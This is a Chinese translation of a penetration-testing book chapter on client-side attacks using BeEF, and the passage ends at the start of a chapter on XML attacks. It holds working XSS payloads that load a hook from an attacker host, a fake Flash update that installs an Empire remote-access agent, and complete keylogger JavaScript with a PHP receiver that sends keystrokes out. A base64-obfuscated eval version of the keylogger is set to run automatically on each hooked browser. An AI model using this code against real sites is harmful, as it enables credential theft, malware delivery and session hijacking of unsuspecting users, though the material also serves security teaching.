如果我们试图躲避蓝队,最好将这个文件移动到比 c2.spider.ml/hook.js 更不显眼的位置,但为了本章的说明,我们将使用这个 URL 钩取受害者。
如我之前所提到的,一旦我们有了 XSS 漏洞,我们可以构建一个有效载荷来插入一个新的 script 标签,该标签会通过 BeEF 有效载荷钩取客户端。在某些情况下,可能需要更多的创意来让 JavaScript 执行我们的代码,但最终目标是插入一个类似以下的有效载荷:
<script async src=https://c2.spider.ml/hook.js></script>
在常见的情况中,反射点(也叫做sink)位于 HTML 标签内部时,我们有几个选择:
-
关闭受影响的 HTML 标签,并打开一个包含我们钩取代码的新
script标签 -
设置一个事件处理程序,当发生事件时(例如,当页面加载或用户点击元素时),下载并执行我们的钩子代码
第一个选项很简单;我们可以用双引号关闭 value 属性,并用尖括号关闭 input 元素,接着是我们的恶意 script 标签:
<input type="text" name="qs" id="qs" value="">**<script async src=https://c2.spider.ml/hook.js></script>**<**span id="**">
一旦 XSS 有效载荷被反射回来的话,生成的 HTML 代码将悄无声息地下载并执行我们的钩子代码,允许我们访问浏览会话。async 关键字将确保钩子代码异步下载,不会拖慢页面加载速度,从而避免让受害者察觉到异常。
尾部未完成的 <span> 将确保原始 HTML 代码的其余部分不会出现在页面上,使其看起来更加整洁。
如果我们必须使用事件来执行代码,可以通过在受影响的 HTML 标签中创建一个合适的 on[event] 属性来配置事件处理程序。例如,如果我们希望在用户点击受影响元素时执行钩子代码,我们可以利用 <input> 标签的 onclick 属性,这样就可以执行任意代码:
<input type="text" name="qs" id="qs" value="**" onclick="alert(document.cookie)" x="**">
上面的示例将弹出一个包含当前 cookie 的警告框,正如我之前所说,这对于概念验证非常有用,但在攻击中并不太实用。
我们可以使用 DOM 和 JavaScript 构建一个全新的 script 元素,将其指向我们的钩子代码,并将其附加到页面的 head 中。
得益于 JavaScript 的灵活性,实现这一点的方法有千万种,但我们的代码相对简单:
var hook = document.createElement('script');
hook.src = 'https://c2.spider.ml/hook.js';
document.head.append(hook);
第一行将创建一个空对象,代表一个 script 标签。就像我们在 HTML 标签的 src= 属性中做的那样,在 JavaScript 中,我们可以将脚本的源指向我们的钩子代码。此时,实际上没有任何代码被下载或执行。我们已创建了一个无害的 DOM 对象。为了使其成为武器化代码,我们可以使用 append 函数将其添加到 document.head 中,也就是说,我们在页面的 <head> 标签中创建了一个 <script> 标签。最后一行正是这么做的,浏览器立即并悄无声息地下载并执行钩子代码。
我们的有效载荷大致如下:
<input type="text" name="qs" id="qs" value="**" var hook = document.createElement('script');hook.src='https://c2.spider.ml/hook.js**';
**document.head.append(hook);" x="**">
再次强调,尾部的 x=" 属性是为了确保没有 HTML 解析的异常,并且代码能够顺利执行。
另一个常见的 XSS 漏洞源是直接嵌入 JavaScript 代码中,位于页面的某个地方:
<script>
sure = confirm("Hello **[sink]**, are you sure you wish to logout?");
if (sure) {
document.location = "/logout";
}
</script>
在前面的示例中,服务器会将一些用户控制的文本反射到 confirm() 字符串参数中。为了利用这一点,我们可以重用之前编写的 DOM 操作代码,并将其适配到传递给另一个函数的字符串中。这绝不是实现代码执行的唯一方法,但这是一个开始。
使用 JavaScript,我们可以使用加号操作符连接字符串和其他对象,如下所示:
alert("One plus one is " + **prompt("1 + 1 = ")** + "!");
prompt()函数将返回我们提供的任何字符串值,而alert()则会在返回给用户之前连接这些字符串。我们可以用 JavaScript 做很多奇怪的事情,但需要注意的是,执行了prompt()函数。如果我们控制了字符串中的连接内容,就能执行任意的 JavaScript 代码。
在前面的代码示例中,我们将不再返回我们的用户名,而是强制应用返回一个字符串连接,这将执行我们的投放器代码:
<script>
sure = confirm("Hello **" + eval("var hook = document.createElement('script');hook.src='xxx.xxx';document.head.append(hook);") + "**, are you sure you wish to logout?");
if (sure) {
document.location = "/logout";
}
</script>
我们实际上并不关心连接的最终结果,实际上,eval并不会返回任何有意义的显示内容。我们关心的是eval()的执行,它将会执行我们的钩子投放器。
眼尖的朋友会注意到,这种注入方式存在一个小问题。如果用户在确认对话框中点击“确定”,sure变量将被设置为true,页面将跳转离开,从而带走我们的 BeEF 钩子。
为了解决这个问题,我们必须“完成”脚本并控制脚本的执行流程,确保页面停留足够长的时间,以便我们进行攻击的第二阶段。一种合理的方法是关闭confirm函数,eval我们的代码,并立即将sure的值设置为false。这样可以确保即使用户点击“确定”,页面也不会跳转,因为下一个if条件将始终评估为false。
我们需要稍微修改我们的投放器 payload:
"); eval("var hook = document.createElement('script');hook.src='https://c2.spider.ml/hook.js';document.head.append(hook);"); sure = false; //
结果是有效的代码,它将防止if语句评估为true并更改文档位置。我们使用双斜杠(//)注释掉confirm()函数的其余部分,防止 JavaScript 解析错误:
<script>
sure = confirm("Hello **"); eval("var hook = document.createElement('script');hook.src='https://c2.spider.ml/hook.js';document.head.append(hook);"); sure = false;** //, are you sure you wish to logout?");
if (sure) {
document.location = "/logout";
}
</script>
如果不小心构造,在函数中间注入 JavaScript 代码可能会出现一些问题。如果我们漏掉关闭标签或破坏了页面的其他部分,HTML 是相对宽容的。但是,有些 JavaScript 引擎将无法解析代码,我们的 payload 将无法执行。
在接下来的 BeEF 场景中,我们将使用以下 XSS 攻击钩取坏人的站点,站点地址为http://badguys.local。这是一种更简单的反射型 XSS 攻击,但它应该足以展示 BeEF 的能力:
http://badguys.local/cross-site-scripting/form-field?qs="><**script+async+src=https://c2.spider.ml/hook.js**><**/script**><**span+id="**
qs参数易受反射型 XSS 攻击,我们将用我们的 BeEF 钩子攻击目标。
如果成功,BeEF C2 服务器日志将显示新的被钩取浏览器、IP 地址、浏览器、操作系统以及 XSS payload 执行的域名:
[20:21:37][*] New Hooked Browser [id:1, ip:**196.247.56.62**, browser:C-UNKNOWN, os:Windows-7], hooked domain [**badguys.local:80**]
现在我们可以开始在受害者的浏览器上执行各种命令(或模块)。
社会工程学攻击
目前捕获凭证或执行恶意代码的最简单方法,且将永远是,社会工程学。特别是 XSS 攻击,赋予我们在用户信任的网站上执行代码的优势,大大提高了成功的几率,因为即使是最警觉的用户也会信任他们认知的网页地址。
BeEF 提供了多个社会工程模块,包括但不限于:
-
假冒通知栏:通过模仿浏览器通知栏传递恶意软件
-
假冒 Flash 更新:传递伪装成 Flash 更新弹窗的恶意软件
-
精美盗窃:通过假冒弹窗捕获常见网站的凭证
-
假冒 LastPass:通过假冒弹窗捕获 LastPass 凭证
为了展示使用 BeEF 的常见社会工程攻击,我们将利用位于 社会工程 类别下 命令 中的假冒 Flash 更新模块。这种技术在现实中仍然非常有效,且 BeEF 简化了将可执行有效载荷传递给受害者的过程。
配置非常简单;我们只需要将模块指向我们自己的自定义有效载荷,这将呈现给受害者一个假冒的 Flash 更新文件:

图 9.11:配置假冒 Flash 更新 BeEF 命令
如果我们希望更换 BeEF 服务器上托管的默认图片,也可以指定自定义图片。我们的“假冒 Flash”有效载荷(FlashUpdate.bat)是一个简单的批处理脚本,将执行 PowerShell Empire 代理恶意软件。我们还在云端运行了一个独立的 Empire C2 服务器,等待代理的连接。
注意事项
Empire 是一个出色的 C2 开源软件,可以完全控制 Windows 和 Linux 机器。Windows 代理完全使用 PowerShell 编写,能够控制目标的各个方面。它是一个非常有效的 远程访问木马 (RAT) 。Linux 也通过 Python 代理得到支持。Empire 提供了大量的后渗透模块,并且可以轻松部署在云端。更多信息请参考 www.powershellempire.com/。
我们已经将 Empire 代理下载器(FlashUpdate.bat)托管在我们的 C2 服务器上,以简化操作。BeEF 假冒 Flash 更新命令将展示给用户一个看起来像是 Flash 更新提示的图像。点击图像的任何地方都会开始下载恶意软件。用户仍然需要执行它,但正如我之前提到的,这仍然是一个非常有效的攻击方法。
点击 执行,假冒 Flash 更新命令将弹出假消息到受害者的浏览器中:

图 9.12:假冒 Flash 更新命令执行情况
注意事项
将鼠标悬停在图片上会显示我们之前在假冒 Flash 更新命令中配置的链接 http://c2.spider.ml/FlashUpdate.bat。
Empire C2 服务器接收到代理连接,给予我们完全控制受害者计算机的权限,而不仅仅是浏览器:
(Empire: listeners) > list
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http https://c2.spider.ml: 5/0.08443
(Empire: listeners) > [*] Sending POWERSHELL stager (stage 1) to **196.247.56.62**
[*] New agent **XH3U861L** checked in
[+] Initial agent **XH3U861L** from 196.247.56.62 now active
[*] Sending agent (stage 2) to **XH3U861L** at 196.247.56.62
我们可以与代理进行交互并执行任意命令(以及许多其他操作):
(Empire: listeners) > agents
(Empire: agents) > interact **XH3U861L**
(Empire: XH3U861L) > **shell whoami**
[...]
BG-CORP52176\ThePlague
..Command execution completed.
借助 XSS 攻击的帮助,我们成功地欺骗受害者执行我们的恶意软件,并让我们从浏览器中提升权限,完全控制受害者的计算机。
还有其他社交工程模块可用,而且大多数都有相当高的成功率。
键盘记录器
XSS 攻击的一个常见用途是老式的键盘记录器。JavaScript 允许我们非常轻松地捕获按键,而由于我们能够在浏览器中执行任意的 JavaScript 代码,因此也可以设置一个按键记录器。你可以想象,XSS 攻击在登录页面中对攻击者来说是非常有价值的。
BeEF 中没有模块或命令可以启用键盘记录器,因为它默认在核心中已启用!我们可以通过检查 Web 用户界面中 Current Browser 标签旁的 Logs 标签,或者直接查看 C2 控制台输出,来看到每个已挂钩浏览器输入的按键信息。
要查看 BeEF 键盘记录器的实际运行情况,我们必须使用 -v(详细模式)开关启动服务器:

图 9.13:BeEF 在云中以详细模式运行
有大量与 BeEF 初始化相关的输出,可以安全忽略。然而,在受害者的浏览器被挂钩后,用户事件(包括按键和鼠标点击)将发送到 BeEF C2:
UI(log/.zombie.json) call: 2.779s - [Mouse Click] x: 543 y:240 > p
UI(log/.zombie.json) call: 7.493s - [Mouse Click] x: 502 y:349 > div#cookie
UI(log/.zombie.json) call: 9.152s - **[User Typed] ad**
UI(log/.zombie.json) call: 10.171s - **[User Typed] ministra**
UI(log/.zombie.json) call: 11.186s - **[User Typed] tor**
UI(log/.zombie.json) call: 17.251s - **[User Typed] Wint**
UI(log/.zombie.json) call: 18.254s - **[User Typed] er2018**
我们可以看到看起来像是输入的凭证。由于 BeEF 挂钩定期回传并提交捕获的按键缓冲区,输入的文字会被拆分开来。在大多数情况下,可以非常明显地判断出用户正在输入什么。
内置的键盘记录器相当好,大多数攻击都会从中受益。然而,在某些情况下,可能需要一个更加定制化的键盘记录器。也许我们希望将按键信息发送到其他地方,或者仅仅想记录更多的按键,比如 Backspace、Enter 和 Tab。
使用 BeEF 作为攻击工具之所以可行,是因为 XSS 允许我们在浏览器中执行 JavaScript 代码。我们发送的所有命令其实只是代码片段,执行时就像它们是应用程序的一部分。
正如预期的那样,BeEF 提供了一个命令,我们可以用它在已挂钩的浏览器中执行任何我们想要的 JavaScript。我们的定制键盘记录器并不非常先进,但它允许我们根据未来的需求进行定制。
我们首先要做的是定义一个 push_url 变量,这是 C2 服务器的 URL,我们将把捕获到的按键发送到这个服务器。该服务器组件将解码键盘记录器的信息,并将其存储在文本文件中供以后查看:
var push_url = "http://c2.spider.ml/log.php?session=";
接下来,我们将使用document.addEventListener()方法,在页面上任何地方发生keydown事件时触发处理函数。此事件表示用户按下了一个键,并让我们有机会以编程方式检查并记录它。按键将被附加到缓冲区变量中,稍后将被发送到push_url:
var **buffer** = [];
document.addEventListener(**"keydown"**, function(e) {
key = e.key;
if (key.length > 1 || key == " ") { **key = "[" + key + "]"** }
**buffer.push(key)**;
});
当此事件触发时,我们会将按下的键存储在缓冲区中,稍后提交到键盘记录服务器。此keydown处理函数中的if语句将用括号包裹特殊键,以便我们更容易阅读。例如:按键Enter、Space和Tab将分别记录为[Enter]、[Space]、[Tab]。
最后一部分代码每隔几秒(每 2,000 毫秒)执行一次函数,负责将当前的缓冲区提交到定义的push_url:
window.setInterval(function() {
if (buffer.length > 0) {
var data = **encodeURIComponent(btoa(buffer.join('')))**;
**var img = new Image()**;
**img.src = push_url + data**;
buffer = [];
}
}, **2000**);
window.setInterval()函数允许我们指定另一个函数,该函数将周期性地执行,与keydown处理函数并行运行。当keydown处理函数填充缓冲区时,setInterval()函数会将其发送到 C2 服务器。
键盘记录器提交过程如下:
-
使用
.join()将缓冲区从数组转换为字符串 -
使用
btoa()将结果编码为 Base64 -
使用
encodeURIComponent对 Base64 值进行 URI 编码,并将结果存储在数据中 -
创建一个新的
Image()对象,并将其源设置为push_url,同时在末尾附加编码后的数据
创建一个新的Image()对象的一个巧妙副作用是,页面上并不会真正创建图像,但一旦定义了源文件(.src),浏览器会尝试通过网络获取它,并通过 URL 发送编码后的缓冲区。
完整的客户端键盘记录器代码如下:
var push_url = "http://c2.spider.ml/log.php?session=";
var **buffer** = [];
document.addEventListener(**"keydown"**, function(e) {
key = e.key;
if (key.length > 1 || key == " ") { **key = "[" + key + "]"** }
**buffer.push(key)**;
});
window.setInterval(function() {
if (buffer.length > 0) {
var data = **encodeURIComponent(btoa(buffer.join('')))**;
**var img = new Image()**;
**img.src = push_url + data**;
buffer = [];
}
}, **2000**);
为了完成这个键盘记录器,我们需要服务器组件来拦截提交的数据,并解码存储已记录的按键。
我们可以写一些 PHP 代码来完成这个任务:
root@spider-c2-1:~/keylogger# cat log.php
<?php
if (isset($_GET["session"])) {
$keys = **@base64_decode($_GET["session"])**;
$logfile = **fopen("keys.log", "a+")**;
**fwrite**($logfile, $keys);
fclose($logfile);
}
?>
第一行是一个if语句,它检查是否通过会话的GET参数传入了数据。如果有数据,脚本将解码它并存储在$keys变量中,稍后使用fwrite()函数将其写入磁盘中的keys.log文件。
我们可以在80端口启动内置的 PHP 服务器,以提供log.php文件,让我们的 JavaScript 键盘记录器与之通信:
root@spider-c2-1:~/keylogger# php -S 0.0.0.0:80
PHP 7.0.30-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /root/keylogger
Press Ctrl-C to quit.
剩下的就是通过 BeEF 将 JavaScript 有效载荷推送到我们的钩取目标,使用Misc节点下的 Raw JavaScript 命令:

图 9.14:在被钩取的受害者上执行自定义键盘记录器
一旦用户开始输入,我们可以看到请求进入我们的服务器:
root@spider-c2-1:~/keylogger# php -S 0.0.0.0:80
PHP 7.0.30-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /root/keylogger
Press Ctrl-C to quit.
[...]
[] 196.247.56.62:50406 [200]: /log.php?session=**SGlbIF1bU2hpZnRdSm0%3D**
[] 196.247.56.62:50901 [200]: /log.php?session=**W0JhY2tzcGFjZV1pbQ%3D%3D**
[] 196.247.56.62:55025 [200]: /log.php?session=**LFtFbnRlcl1bRW50ZXJd**
[] 196.247.56.62:55657 [200]: /log.php?session=**W1NoaWZ0XVBsZWFz**
[] 196.247.56.62:56558 [200]: /log.php?session=**ZVsgXWZpbmRbIF1hdHRhY2hlZFsgXXQ%3D**
[] 196.247.56.62:61273 [200]: /log.php?session=**aGVbIF1yZXBvcnRzWyBdZnJvbQ%3D%3D**
[] 196.247.56.62:51034 [200]: /log.php?session=**WyBdbGFzdFsgXXF1YXJ0ZXI%3D**
[] 196.247.56.62:60599 [200]: /log.php?session=**Lg%3D%3D**
[...]
如果我们查看keys.log的内容,可以使用tail -f命令查看捕获的按键,以明文形式显示:
root@spider-c2-1:~/keylogger# tail -f keys.log
[Tab]administrator[Tab][Shift]Winter2018[Enter][Shift]Hi[ ][Shift]Jm[Backspace]im,[Enter][Enter][Shift]Please[ ]find[ ]attached[ ]the[ ]reports[ ]from[ ]last[ ]quarter.[Enter][Enter]
我们的键盘记录器非常有效,应该能在现代浏览器上正常工作。BeEF 的内置事件记录器还有一些其他很不错的功能,如捕获鼠标点击、复制粘贴事件,以及传统的按键记录。攻击中同时使用这两者可能会提高捕获有用数据的机会。
持久性
BeEF 具有非常强大的功能,但仅在浏览器被hook时才有效。前面举过的例子提到,受害者如果离开页面,就会打断我们对其浏览器的控制。这是 XSS 攻击的一个不幸现实。持久 XSS 更具韧性,只要用户足够频繁地访问感染页面,但这仍然不是理想的解决方案。
BeEF 带有一些模块,试图使 hook 保持持久,延长受害者的在线时间。一种有效的选项是“浏览器内命令”,可以在持久性节点下找到:

图 9.15:浏览器内的命令
这个选项没有设置,我们只需要执行,所有事情都会自动处理。
浏览器内攻击(MITB)类似于更流行的中间人攻击(MITM)网络层攻击。在 MITM 场景中,受害者的机器被欺骗将数据包路由到恶意机器,从而让攻击者完全控制受害者的网络流量。这可能导致 TLS 降级或剥离、完整性破坏、恶意软件注入等攻击。MITB 攻击的相似之处在于,网络请求被攻击者的代码拦截并代理。
例如,BeEF 的浏览器内攻击模块将拦截通常会让用户离开当前页面的链接点击。它不会让点击操作正常完成,而是会在后台执行以下步骤:
-
执行异步 JavaScript 请求(XHR)到预期的目标
-
用目标页面的内容替换当前页面的内容
-
更新地址栏以反映点击的链接
-
将“旧”页面添加到浏览历史
我们可以通过查看命令执行历史记录来看到 MITB 攻击的实际操作:

图 9.16:浏览器内的命令结果
对于受害者来说,这一过程是透明的,因为他们请求的页面已成功加载,所有看起来都很正常。不同之处在于,BeEF 从未失去对 hook 的控制,因为该标签页会话并没有因为离开页面而被丢弃。BeEF hook 仍然在运行,这为我们提供了持久的控制。
自动化利用
所有这些模块都很棒,但 XSS 攻击通常具有时间敏感性。如果我们成功地让用户执行我们的 BeEF hook,可能没有足够的时间通过用户界面点击并运行任何模块,直到他们关闭页面或浏览到应用程序的其他部分。
幸运的是,BeEF 实现了自动运行规则引擎(ARE),它做的就是你所期望的:根据操作员定义的一系列规则,自动运行模块。根据启用的规则,每当一个新的浏览器被感染并接收到钩子负载时,选定的模块会自动执行。ARE 的明显应用是提供持久性和提取敏感数据的模块,比如 Cookies,甚至是我们的自定义键盘记录器。
注意
更多关于 ARE 的信息可以在github.com/beefproject/beef/wiki/Autorun-Rule-Engine找到。
ARE 规则是一个简单的 JSON 文件,包含描述要执行模块的元数据,存储在 BeEF 的arerules子目录中。
BeEF 附带了一些示例规则,允许你执行诸如获取 Cookie 或 Ping Sweep 之类的模块,但这些规则默认是关闭的。如果我们希望在受害者被钩住后立即执行它们,我们需要将相应的 JSON 文件放入arerules/enabled子目录,并重启 BeEF。
获取 Cookie 的 ARE 规则如下所示:
root@spider-c2-1:~/beef# cat **arerules/get_cookie.json**
{
"name": "**Get Cookie**",
"author": "@benichmt1",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "**get_cookie**",
"condition": null,
"**options**": {
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
规则中有一些元数据,比如name和author。ARE 规则还可以指定它执行成功所需的任何选项。我们可以定义执行顺序,并添加延迟。规则链模式指的是用来运行模块的方法,但默认的顺序在大多数部署中应该都能正常工作。
注意
更多关于链模式和编写 ARE 的信息可以在github.com/beefproject/beef/wiki/Autorun-Rule-Engine找到。
在我们的场景中,我们通过反射型 XSS 攻击执行钩子,这意味着一旦用户离开页面,我们可能会永远失去他们。这时,ARE 就派上用场了。我们可以在受害者上线后,自动执行 Man-In-The-Browser 和获取 Cookie 模块,希望在他们离开之前能够保持连接,或者至少获取到会话 Cookie。
Man-In-The-Browser 和获取 Cookie 都有现成的规则在 BeEF 中;我们只需通过将适当的 JSON 文件副本放入arerules/enabled子目录来启用它们:
root@spider-c2-1:~/beef# cp arerules/man_in_the_browser.json **arerules/enabled/man_in_the_browser.json**
root@spider-c2-1:~/beef# cp arerules/get_cookie.json **arerules/enabled/get_cookie.json**
要使 ARE 加载新启用的规则,如果 BeEF 已经在运行,我们需要重启 BeEF:
root@spider-c2-1:~/beef# ./beef
[...]
[18:07:19][*] RESTful API key: cefce9633f9436202c1705908d508d31c7072374
[18:07:19][*] HTTP Proxy: http://127.0.0.1:6789
**[18:07:19][*] [ARE] Ruleset (Perform Man-In-The-Browser) parsed and stored successfully.**
**[18:07:19][*] [ARE] Ruleset (Get Cookie) parsed and stored successfully.**
[18:07:19][*] BeEF server started (press control+c to stop)
一旦受害者访问被感染的页面,BeEF 将执行 MITB 攻击并提取应用程序的 Cookies。Man-In-The-Browser 模块将在受害者决定继续浏览应用程序时保持钩子活跃。获取 Cookie 模块将在受害者决定完全关闭浏览器时,尽可能地提取会话 Cookie。
如你所料,我们还可以自动运行 Raw Javascript 模块,这将允许我们在钩住的浏览器上线后立即执行任意的 JavaScript。一个不错的候选模块是我们的自定义键盘记录器。
首先,我们需要创建一个规则,指示 BeEF 执行raw_javascript模块:
root@spider-c2-1:~/beef# cat **arerules/enabled/raw_javascript.json**
{
"name": "Raw JavaScript",
"author": "wade@bindshell.net",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "**raw_javascript**",
"condition": null,
"options": {
**"cmd": ""**
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
我们不想对运行此规则施加任何条件,但我们必须指定一个有效载荷供执行。raw_javascript模块有一个选项cmd,即要执行的原始 JavaScript 代码。
现在,由于规则是 JSON 格式,我们将对我们的键盘记录器代码进行 Base64 编码,然后将其传递给 Base64 解码器,接着通过eval()函数执行。我们不必进行这一步,但为了将键盘记录器代码存储在 JSON 文件中,我们必须使用 JavaScript 压缩器对其进行压缩,并转义代码中的双引号。这个过程有些复杂,因此我们将选择更简单的方式。
我们可以使用类似 CyberChef(或 JavaScript 的btoa()函数)快速编码键盘记录器:

图 9.17:CyberChef 对自定义键盘记录器代码进行 Base64 编码
要运行 Base64 编码的键盘记录器代码,我们必须先将其传递给atob(),即 JavaScript 的 Base64 解码器,然后再通过eval()函数实际执行代码。
原始 JavaScript 命令输入将如下所示:
**eval**(**atob**('dmFyIHB1c2hfdXJsID0gImh0dHA6Ly9jMi5zcGlkZXIubWwvbG9nLnBocD9zZXNzaW9uPSI7Cgp2YXIgYnVmZmVyID0gW107CmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImtleWRvd24iLCBmdW5jdGlvbihlKSB7CiAgICBrZXkgPSBlLmtleTsKICAgIGlmIChrZXkubGVuZ3RoID4gMSB8fCBrZXkgPT0gIiAiKSB7IGtleSA9ICJbIiArIGtleSArICJdIiB9CiAgICBidWZmZXIucHVzaChrZXkpOwp9KTsKCndpbmRvdy5zZXRJbnRlcnZhbChmdW5jdGlvbigpIHsKICAgIGlmIChidWZmZXIubGVuZ3RoID4gMCkgewogICAgICAgIHZhciBkYXRhID0gZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoYnVmZmVyLmpvaW4oJycpKSk7CgogICAgICAgIHZhciBpbWcgPSBuZXcgSW1hZ2UoKTsKICAgICAgICBpbWcuc3JjID0gcHVzaF91cmwgKyBkYXRhOwoKICAgICAgICBidWZmZXIgPSBbXTsKICAgIH0KfSwgMjAwMCk7'));
最后,我们可以将这个值添加到我们的原始 JavaScript ARE 规则 JSON 文件中。这个特定模块需要设置cmd选项,这里就是我们放置单行代码的位置。
最终规则将如下所示:
root@spider-c2-1:~/beef# cat **arerules/enabled/raw_javascript.json**
{
"name": "Raw JavaScript",
"author": "wade@bindshell.net",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "**raw_javascript**",
"condition": null,
"**options**": {
"cmd": **"eval(atob('dmFyIHB1c2hfdXJsID0gImh0dHA6Ly9jMi5zcGlkZXIubWwvbG9nLnBocD9zZXNzaW9uPSI7Cgp2YXIgYnVmZmVyID0gW107CmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImtleWRvd24iLCBmdW5jdGlvbihlKSB7CiAgICBrZXkgPSBlLmtleTsKICAgIGlmIChrZXkubGVuZ3RoID4gMSB8fCBrZXkgPT0gIiAiKSB7IGtleSA9ICJbIiArIGtleSArICJdIiB9CiAgICBidWZmZXIucHVzaChrZXkpOwp9KTsKCndpbmRvdy5zZXRJbnRlcnZhbChmdW5jdGlvbigpIHsKICAgIGlmIChidWZmZXIubGVuZ3RoID4gMCkgewogICAgICAgIHZhciBkYXRhID0gZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoYnVmZmVyLmpvaW4oJycpKSk7CgogICAgICAgIHZhciBpbWcgPSBuZXcgSW1hZ2UoKTsKICAgICAgICBpbWcuc3JjID0gcHVzaF91cmwgKyBkYXRhOwoKICAgICAgICBidWZmZXIgPSBbXTsKICAgIH0KfSwgMjAwMCk7'));"**
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}
每个模块都需要特定的选项才能正常运行。BeEF 是一个开源软件,因此我们可以检查代码以找出这些选项是什么:

图 9.18:BeEF GitHub 源代码
重启 BeEF 将加载我们新的 ARE 规则,并与另外两个预设规则一起使用:
root@spider-c2-1:~/beef# ./beef
[...]
[18:07:19][*] RESTful API key: cefce9633f9436202c1705908d508d31c7072374
[18:07:19][*] HTTP Proxy: http://127.0.0.1:6789
[18:07:19][*] [ARE] Ruleset (Perform Man-In-The-Browser) parsed and stored successfully.
[18:07:19][*] [ARE] Ruleset (Get Cookie) parsed and stored successfully.
**[18:07:19][*] [ARE] Ruleset (Raw JavaScript) parsed and stored successfully.**
[18:07:19][*] BeEF server started (press control+c to stop)
所有新被钩住的受害者将会泄露他们的 cookies,执行定制的键盘记录器,并通过 MITB 攻击启用持久性。
隧道化流量
也许 BeEF 中最酷的功能就是通过被钩住的受害者的浏览器隧道化流量。BeEF 会设置一个本地代理,将网页请求通过 C2 服务器转发并返回给受害者。
在客户端,流量转发是通过 XHR 完成的,因此请求受到 SOP(同源策略)的限制。这实际上将我们限制在被钩住的域名上。虽然这并不理想,但仍然有一些实际应用。
考虑这样一个场景:一个内部管理界面存在 XSS 攻击的漏洞。我们无法直接访问它,因为它位于一个独立的网络段,但我们成功地欺骗了管理员执行我们的钩子有效载荷,现在我们已经控制了他们在 BeEF 中的会话。我们无法读取管理员 Gmail 帐户的内容,但由于 JavaScript 的存在,我们可以浏览管理界面,而且一切正常。更重要的是,由于浏览器会在每个请求中自动携带 cookie,我们将自动以受害者的身份进行身份验证。
隧道化流量很简单;我们只需右击一个被钩住的客户端,选择用作代理:

图 9.19:将受害者用作代理
当 BeEF 启动时,它还会在本地主机上运行一个代理服务,如果启用,它将通过被劫持的受害者浏览器来路由流量:
root@spider-c2-1:~/beef# ./beef
[...]
[18:07:19][*] RESTful API key: cefce9633f9436202c1705908d508d31c7072374
[18:07:19][*] HTTP Proxy: **http://127.0.0.1:6789**
我们可以通过使用curl并使用-x参数指定默认的 BeEF 代理服务(127.0.0.1:6789)来查看此流量代理的实际操作:
root@spider-c2-1:~# curl -x 127.0.0.1:6789 http://**badguys.local**
<!DOCTYPE html>
[...]
<title>**Shiny, Let's Be Bad Guys**: Exploiting and Mitigating the Top 10 Web App Vulnerabilities</title>
[...]
</html>
root@spider-c2-1:~#
我们不仅能够浏览badguys.local域名,而且还可以从云中的 C2 服务器进行浏览。由于恶意代码在受害者浏览器内运行,攻击者无需担心名称解析和数据包路由问题。
注意
请记住,SOP 也适用于隧道化流量。我们可以向任意域名和端口发送请求,但无法读取响应的内容:
root@spider-c2-1:~# curl -x 127.0.0.1:6789 **http://example.com**
**ERROR: Cross Domain Request. The request was sent howev**
**er it is impossible to view the response.**
root@spider-c2-1:~#
总结
在本章中,我们涵盖了大量与客户端攻击相关的信息。我们研究了三种常见的 XSS 类型:反射型、存储型和 DOM 型,以及 CSRF 攻击,并将这些攻击进行了链式结合。我们还介绍了同源策略(SOP)以及它如何影响将第三方内容或攻击代码加载到页面上的行为。
本章展示了内置的 BeEF 键盘记录器,甚至展示了如何创建自己的键盘记录器。通过社会工程学,我们能够欺骗用户执行恶意代码,从而获得反向 Shell 访问客户端计算机的权限。特别是 XSS 中的持久性问题很严重,但通过 MITB 攻击,我们成功地扩展了在客户端的立足点。最后,我们探讨了如何使用 BeEF 的 ARE 来自动化漏洞利用,甚至通过受害者的浏览器隧道化 HTTP 流量。
本章的目的是展示客户端攻击在实际攻击中是如何可行的。尽管我们没有执行本地代码,但 XSS 和 CSRF 攻击可以结合起来对目标造成实质性的损害。在下一章,我们将从攻击用户转向攻击服务器本身,方法是通过 XML。
第十章:实用的服务器端攻击
在上一章中,我们通过一系列实际攻击,利用应用程序的漏洞实现目标。本章的重点将是服务器端攻击,主要通过利用 XML 漏洞。尽管 JSON 在 web 应用中的数据交换中已经占据了大量市场份额,但 XML 仍然相当普遍。它不像 JSON 那样简洁,可能稍微难以阅读,但它已经相当成熟。任何开发者选择的语言都有大量的 XML 解析库可供使用。Java 在企业界仍然很受欢迎,Android 现象也促使了更多 Java 爱好者的涌现。微软仍然非常喜爱 XML,你可以在它的操作系统、应用程序清单和 IIS 网站配置文件中随处可见。
本章的目标是让你熟悉 XML 攻击,最终你将熟悉以下内容:
-
DoS 条件
-
服务器端请求伪造(SSRF)攻击
-
信息泄露
-
盲目利用和带外数据外泄
-
远程代码执行
在你的旅途中,你无疑已经遇到过 XML,乍一看,它与 HTML 类似。它有一个描述文档的头部,通常看起来是这样的:
<?xml version="1.0" encoding="UTF-8"?>
接下来是任意标签,用于描述文档中包含的数据。虽然 HTML 指示客户端(如浏览器)如何渲染数据,XML 则用于描述数据本身,因此被称为自描述。数据通过称为元素的构建块进行定义或描述。一个 XML 文档的示例如下:
<?xml version="1.0" encoding="UTF-8"?>
<user>
<name>Dade Murphy</name>
<id>1</id>
<email>admin@localhost</email>
</user>
